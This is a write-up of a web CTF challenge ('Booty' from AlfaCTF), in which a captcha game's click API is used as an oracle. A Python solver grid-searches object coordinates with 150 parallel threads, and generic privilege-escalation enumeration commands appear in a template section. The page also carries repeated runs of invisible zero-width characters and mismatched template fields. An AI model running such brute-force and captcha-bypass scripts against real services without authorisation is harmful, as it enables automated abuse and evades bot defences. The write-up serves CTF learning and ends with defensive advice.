← Back to Writeups
HTBN/AWeb

Booty

XESXOR8/23/20266 min read
#web#htb#n/a

Booty

Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-18 | Status: Solved Techniques: API endpoint enumeration via Swagger/OpenAPI, Coordinate bruteforce via grid search, Parallel request optimization, Response-based oracle attack

Summary

Task: Find hidden objects in a darkened captcha game with 110 objects across 3 levels. Solution: Used API click endpoint as oracle to bruteforce coordinates via grid search with 150 parallel threads.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: alfactf | ID: 20251218_alfactf_booty
  • Tags: parallel_requests, api_abuse, game_hacking, grid_search, bruteforce, fastapi, react, captcha_bypass
  • Indicators: Game with hidden object coordinates, API returns success/failure for coordinate clicks, No rate limiting on API endpoints, Coordinates not exposed in public API
  • Source: 20251218_alfactf_booty.md

Foothold

Vulnerability / Misconfiguration

  1. API endpoint enumeration via Swagger/OpenAPI
  2. Coordinate bruteforce via grid search
  3. Parallel request optimization
  4. Response-based oracle attack
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • API endpoint enumeration via Swagger/OpenAPI
  • Coordinate bruteforce via grid search
  • Parallel request optimization
  • Response-based oracle attack
  • Tags: parallel_requests, api_abuse, game_hacking, grid_search, bruteforce, fastapi, react, captcha_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

В укромном уголке острова вы находите огромный сундук, запертый необычным замком. Оказывается, пираты ненавидят роботов и готовы делиться своими богатствами только с людьми.

Поэтому чтобы заполучить клад, нужно разгадать огромную капчу: отметить все 110 объектов на изображении.

Хорошо, что вы человек — это будет нетрудно! Но почему же так плохо видно...

URL: https://booty-ow9zh37k.alfactf.ru/

Reconnaissance

Application Architecture

  1. Frontend: React SPA with react-router
  • Routes: /, /game, /admin-markup
  • Images darkened with CSS filter filter: brightness(0.15) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  1. Backend: FastAPI
  • Swagger UI: /docs
  • OpenAPI: /openapi.json
  • robots.txt: Disallow: / (hint about "pirates hate robots")
  1. Game Mechanics:
  • 3 levels: 30 + 40 + 40 = 110 objects
  • Image size: 1200x800 pixels
  • Object click_radius: 25-100 pixels

API Endpoints

POST /api/users/register     - registration
POST /api/users/login        - login (returns JWT)
GET  /api/users/me           - user info

POST /api/game/start         - start game (level: 1-3)
GET  /api/game/state/{id}    - session state
POST /api/game/click/{id}    - click on coordinates {x, y}
GET  /api/game/objects       - list of objects (WITHOUT coordinates!)
GET  /api/game/user-session  - active user session
GET  /api/game/overall-progress - overall progress
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

POST   /api/admin/objects      - create object (admin only)
DELETE /api/admin/objects/{id} - delete object

Vulnerability Analysis

Key Finding

Object coordinates (x, y, click_radius) are hidden in the public API - only object names are returned. However, the /api/game/click/{session_id} endpoint works as an oracle:

  • On hit within object radius: {"success": true, "distance": N}
  • On miss: {"success": false}

What Didn't Work

  • SQL injection - Pydantic protection
  • JWT none algorithm - doesn't work
  • JWT secret bruteforce - secret not in standard wordlists
  • IDOR on sessions - protected by user_id
  • Register as admin - already exists
  • Admin password bruteforce - not found ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution: Grid Search Bruteforce

Without rate limiting, we can bruteforce coordinates with parallel requests:

  1. Register and obtain JWT token
  2. Start game on each level
  3. For each object - grid search across the image (1200x800)
  4. Search steps: 50 → 25 → 15 pixels (fallback on failure)
  5. 150 parallel threads for speed
  6. Cache found coordinates in JSON

Exploitation

Solver (fast_solver.py)

import requests
import time
import concurrent.futures
from threading import Lock
import json
import os
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "https://booty-ow9zh37k.alfactf.ru"
COORDS_FILE = "found_coords.json"

def load_coords():
    if os.path.exists(COORDS_FILE):
        with open(COORDS_FILE, 'r') as f:
            return json.load(f)
    return {}

def save_coords(coords):
    with open(COORDS_FILE, 'w') as f:
        json.dump(coords, f, indent=2, ensure_ascii=False)

def find_object(headers, session_id, obj_name, known_coords):
    # Check cache first
    if obj_name in known_coords:
        x, y = known_coords[obj_name]["x"], known_coords[obj_name]["y"]
        r = requests.post(f"{BASE_URL}/api/game/click/{session_id}", 
                         json={"x": x, "y": y}, headers=headers, timeout=10)
        result = r.json()
        if result["success"]:
            return (x, y, result)
    
    found_result = [None]
    lock = Lock()
    
    def check_coord(x, y):
        if found_result[0] is not None:
            return None
        try:
            r = requests.post(f"{BASE_URL}/api/game/click/{session_id}", 
                             json={"x": x, "y": y}, headers=headers, timeout=10)
            result = r.json()
            if result["success"]:
                with lock:
                    if found_result[0] is None:
                        found_result[0] = (x, y, result)
                return (x, y, result)
        except:
            pass
        return None
    
    # Grid search with decreasing step size
    for step in [50, 25, 15]:
        if found_result[0]:
            break
        coords = [(x, y) for y in range(0, 801, step) for x in range(0, 1201, step)]
        with concurrent.futures.ThreadPoolExecutor(max_workers=150) as executor:
            futures = {executor.submit(check_coord, x, y): (x, y) for x, y in coords}
            for future in concurrent.futures.as_completed(futures):
                if found_result[0] is not None:
                    executor.shutdown(wait=False, cancel_futures=True)
                    break
    
    return found_result[0]
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    known_coords = load_coords()
    print(f"Cached: {len(known_coords)}")
    
    # Register new user
    username = f"solver_{int(time.time())}"
    requests.post(f"{BASE_URL}/api/users/register", 
                  json={"username": username, "password": "p"})
    r = requests.post(f"{BASE_URL}/api/users/login", 
                      json={"username": username, "password": "p"})
    token = r.json()["access_token"]
    headers = {"Authorization": f"Bearer {token}"}

    for level in [1, 2, 3]:
        print(f"\n=== LEVEL {level} ===")
        
        r = requests.post(f"{BASE_URL}/api/game/start", 
                          json={"level": level}, headers=headers)
        sd = r.json()
        if "id" not in sd:
            r = requests.get(f"{BASE_URL}/api/game/user-session?level={level}", 
                            headers=headers)
            if r.status_code == 200 and r.json():
                sd = r.json()
            else:
                print(f"Skip: {sd.get('detail','?')}")
                continue
        session_id = sd["id"]
        
        r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers)
        state = r.json()
        total = state["total_objects"]
        found = state["found_objects"]
        
        while found < total:
            r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers)
            state = r.json()
            if state["is_completed"]:
                print("Level completed!")
                break
            
            obj = state["current_object"]["name"]
            cached = "+" if obj in known_coords else ""
            print(f"[{found+1}/{total}] {obj[:25]}{cached}", end=" ", flush=True)
            
            result = find_object(headers, session_id, obj, known_coords)
            
            if result:
                x, y, res = result
                print(f"({x},{y})")
                known_coords[obj] = {"x": x, "y": y, "level": level}
                save_coords(known_coords)
                found += 1
                
                if res.get("game_completed"):
                    print("\n*** FLAG ***")
                    print(res.get('message'))
                    return
            else:
                print("NOT FOUND")
                break
    
    r = requests.get(f"{BASE_URL}/api/game/overall-progress", headers=headers)
    p = r.json()
    print(f"\nProgress: {p['total_found']}/{p['total_objects']}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Execution Result

Cached: 0

=== LEVEL 1 ===
[1/30] Череп на пиратской шляпе (700,450)
[2/30] Подставка для глобуса (50,450)
...
[30/30] Книга на верхней полке (500,175)
Level completed!

=== LEVEL 2 ===
[1/40] Камин (825,400)
...
[40/40] Погнутый обод бочки (500,550)
Level completed!

=== LEVEL 3 ===
[1/40] Крышка сундука с сокровищами (500,300)
...
[40/40] Замок решетки (1150,400)

*** FLAG ***
🏆 Вы — точно человек. А теперь ещё и богатый → alfa{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution Statistics

  • Cached: 80 object coordinates
  • Time per object: ~30 seconds (instant with cache)
  • Total time: ~40 minutes first run
  • Requests: ~50,000 (grid search across all objects)

Defense

How to protect against this attack:

  1. Rate limiting on /api/game/click endpoint
  2. Captcha after N failed attempts
  3. Time delays between clicks
  4. Honeypot coordinates for bot detection
  5. Click pattern analysis (grid vs human)

Files

  • fast_solver.py - main solver with parallel requests
  • found_coords.json - cached coordinates for 80 objects
  • notes.md - solution notes ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR